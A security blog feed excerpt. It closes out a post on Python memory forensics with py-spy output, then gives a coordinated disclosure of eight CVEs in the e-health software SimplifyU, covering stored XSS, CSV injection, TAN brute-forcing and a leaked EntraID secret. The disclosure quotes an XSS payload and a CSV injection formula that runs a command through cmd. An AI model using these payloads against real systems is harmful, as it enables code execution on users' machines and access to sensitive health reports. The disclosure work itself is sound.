&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objects&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;932.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;elf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectpath&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dict&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Some samples from the 16695 lines output:
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sslcontext&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSLContext&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1caaf52c150&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;peercert&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;subject&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(((&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;countryName&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;US&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;stateOrProvinceName&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Ohio&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;localityName&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Cloud&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))),&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...},&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;cipher&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(...),&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;104.198.149.61&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ssl_port&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;tcp_port&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50001&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;wss_port&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ws_port&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...},&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;pruning&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;server_version&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ElectrumX 1.19.0&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;protocol_min&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1.4&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TransportSocket&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1cab00a68c0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sockname&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;10.0.2.15&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;49702&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;peername&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;168.119.33.233&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TransportSocket&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1cab00a7730&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;sockname&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;10.0.2.15&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;49705&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;peername&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;104.198.149.61&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;txid&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;9223da07e858c6f153fbb8a24db52374ca19d2639098207c71710610cfda808e&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;amount_sat&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;fee_sat&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;215848&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;confirmations&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;731185&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;timestamp&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1357732755&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Managed/interpreted programming languages keep lots of metadata in their runtime out of necessity.
We’ve shown in this post how to access data of interest in the case of Python by extending the capabilities of existing tools.&lt;/p&gt;

&lt;p&gt;The additional constraint of sometimes only having full system memory dumps added further challenges.
For future work, it would probably make sense to add minidump reading support to py-spy, because it’s unclear whether the Volatility maintainers will be willing to merge the Windows ELF creation plugin.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If you’re interested in the code changes discussed in this post, you can find the pull requests here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/volatilityfoundation/volatility3/pull/1984&quot;&gt;https://github.com/volatilityfoundation/volatility3/pull/1984&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/benfred/py-spy/pull/850&quot;&gt;https://github.com/benfred/py-spy/pull/850&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Wed, 27 May 2026 08:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2026/05/27/python-object-introspection/</link>
        <guid isPermaLink="true">https://cyber.wtf/2026/05/27/python-object-introspection/</guid>
        
        <category>python</category>
        
        <category>forensics</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>E-Health Issues (1/3) - Severe Vulnerabilities in SimplifyU</title>
        <description>&lt;p&gt;During the last year (2025), we conducted a variety of penetration tests on E-Health applications. Shockingly, they all had severe vulnerabilities. This is particularly concerning given the highly sensitive information stored and processed by these applications. This is the first of three blog posts in which we will disclose some of the vulnerabilities we identified.&lt;/p&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;One of our clients wanted to begin using the E-Health web application &lt;a href=&quot;https://www.simplifyu.de/&quot;&gt;SimplifyU&lt;/a&gt; – a quality management software for the health sector – in production. However, they wanted to assess its security before doing so. Hence, we conducted a web application penetration test. The results revealed multiple severe vulnerabilities, such as stored XSS across the entire application and anonymous users being able to easily brute-force access to sensitive reports.&lt;/p&gt;

&lt;p&gt;Fortunately, the vendor, SimplifyU GmbH, responded quickly and professionally. The vulnerabilities were fixed shortly after they were disclosed.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;
&lt;p&gt;A total of 8 CVEs were assigned to the most severe vulnerabilities identified. The affected versions are “02.06.2025 09:10” and earlier for the back-end as well as “02.06.2025 09:16” and earlier for the front-end.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69851&quot;&gt;CVE-2025-69851&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69799&quot;&gt;CVE-2025-69799&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Stored Cross-Site Scripting&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69852&quot;&gt;CVE-2025-69852&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69800&quot;&gt;CVE-2025-69800&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;CSV Injection&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69849&quot;&gt;CVE-2025-69849&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69801&quot;&gt;CVE-2025-69801&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Insufficient Brute-Force Protection&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69850&quot;&gt;CVE-2025-69850&lt;/a&gt;,&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-69798&quot;&gt;CVE-2025-69798&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Leak of EntraID Secret Key&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;

&lt;p&gt;It is recommended to update SimplifyU to the latest version.
All vulnerabilities have been fixed in the following release:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Frontend: 23.02.2026 – 13:11:08&lt;/li&gt;
  &lt;li&gt;Backend: 23.02.2026 – 13:13:12&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;stored-cross-site-scripting&quot;&gt;Stored Cross-Site Scripting&lt;/h3&gt;
&lt;p&gt;A total of 31 stored cross-site scripting (XSS) instances were identified. 14 of these could be exploited by users with the lowest permissions, i.e. “Leser” (German for “Reader”). Most of these could also be exploited by unauthenticated users if anonymous access was configured as allowed.
A further 17 instances of stored XSS could only be exploited by users with higher permissions, i.e. “Verantwortlicher” (German for “Person in Charge”).&lt;/p&gt;

&lt;p&gt;All instances were trivial XSS vulnerabilities because there was no user input validation. Unvalidated user input was embedded directly into HTML documents, so simple payloads such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src onerror=alert()&amp;gt;&lt;/code&gt; were sufficient. Therefore, there is nothing more to go into.&lt;/p&gt;

&lt;p&gt;To keep track of the numerous XSS vulnerabilities, we created alert boxes containing an identifier for the affected functionality. The following figure illustrates one of these.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-xss&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-1.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-1.png&quot; alt=&quot;example of stored xss&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: One of the 31 stored xss instances.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;csv-injection&quot;&gt;CSV Injection&lt;/h3&gt;
&lt;p&gt;A total of 7 tables contained unvalidated user input that could be exported as an Excel (.xlsx) file. By embedding CSV injection payloads, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=cmd|&apos; /C calc&apos;!xxx&lt;/code&gt;, into specific places, it was possible to execute any command on the system of a user who opened an Excel file containing them. This is especially dangerous because users are likely to trust files exported from the SimplifyU application.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-csv&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-2.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-2.png&quot; alt=&quot;rce via csv injection&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: CSV injection leads to arbitrary command execution.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;insufficient-brute-force-protection&quot;&gt;Insufficient Brute-Force Protection&lt;/h3&gt;
&lt;p&gt;This was the most interesting vulnerability from a technical perspective. SimplifyU allows both anonymous and authenticated users to open any report via the “TAN-Suche” (“TAN-Search”). Two pieces of information are needed for this: First, a “Meldungsnummer” (report number) and a TAN. The report number can easily be guessed because it has a fixed format. The first report has the number “M00001”, the 12th “M00012”, and so on.
Therefore, all that is needed to access any report is to guess (or brute-force :)) the TAN, and there was no brute-force protection in place.&lt;/p&gt;

&lt;p&gt;It doesn’t sound that difficult to exploit, right? You just throw it in Burp Intruder or FFUF and let it brute force the TAN in a matter of seconds or minutes. However, that wasn’t possible in this case because of the framework that SimplifyU is built with.&lt;/p&gt;

&lt;p&gt;SimplifyU uses the ASP.NET Core Blazor framework, which uses a custom binary serialisation format called ‘BlazorPack’. Furthermore, Blazor communicates via WebSockets by default.&lt;/p&gt;

&lt;p&gt;Fortunately, both issues can be resolved by using the Burp extension &lt;a href=&quot;https://github.com/PortSwigger/blazor-traffic-processor&quot;&gt;BlazorTrafficProcessor&lt;/a&gt;.
It forces traffic to fall back to HTTP and supports conversion from binary to JSON format for easy modification. However, it cannot be used for automated brute force attacks. Therefore, we created a simple PoC Python script that can brute-force the TAN for any report.&lt;/p&gt;

&lt;p&gt;Due to the way Blazor works, two requests are required for each brute-force attempt. The first request updates the TAN on the front- and back-end, while the second request triggers the TAN check on the back-end. As a side effect, the brute-force process looks pretty cool because one can see the TAN number increase visually until the correct one is found and the report is displayed.&lt;/p&gt;

&lt;p&gt;The following figure shows the script iterating through every possible TAN, with the TAN on the web application being visually updated each time to reflect the next TAN to be tried.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-bruteforce&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-3.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-3.png&quot; alt=&quot;bruteforcing the tan&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: Bruteforcing the TAN.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;leak-of-entraid-secret-key&quot;&gt;Leak of EntraID Secret Key&lt;/h3&gt;
&lt;p&gt;The EntraID Secret Key was displayed in the EntraID settings of the web application. Although this was only accessible to privileged users, there were several (unauthenticated) stored XSS vulnerabilities that could be exploited to exfiltrate the EntraID Secret Key. This secret key can be used to request an access token for the Microsoft Graph API. The consequences depend on the app’s configuration. In our customer’s case, we could “only” retrieve various information about EntraID users, such as names, phone numbers, and email addresses.&lt;/p&gt;

&lt;p&gt;This was the only vulnerability that was still present during the retest. However, it was eventually fixed in February 2026.&lt;/p&gt;

&lt;figure id=&quot;simplifyu-entraid&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/03/simplifyu-4.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/03/simplifyu-4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/03/simplifyu-4.png&quot; alt=&quot;entraid secret key leak&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/03/simplifyu-4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/03/simplifyu-4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/03/simplifyu-4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: The EntraID secret key is being leaked.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-06-25&lt;/td&gt;
      &lt;td&gt;Start of the 3-day penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-07-01&lt;/td&gt;
      &lt;td&gt;Reported vulnerabilities to the vendor&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-08-11&lt;/td&gt;
      &lt;td&gt;Retest - all but one vulnerability was fixed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-02-23&lt;/td&gt;
      &lt;td&gt;Last vulnerability has been fixed&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

</description>
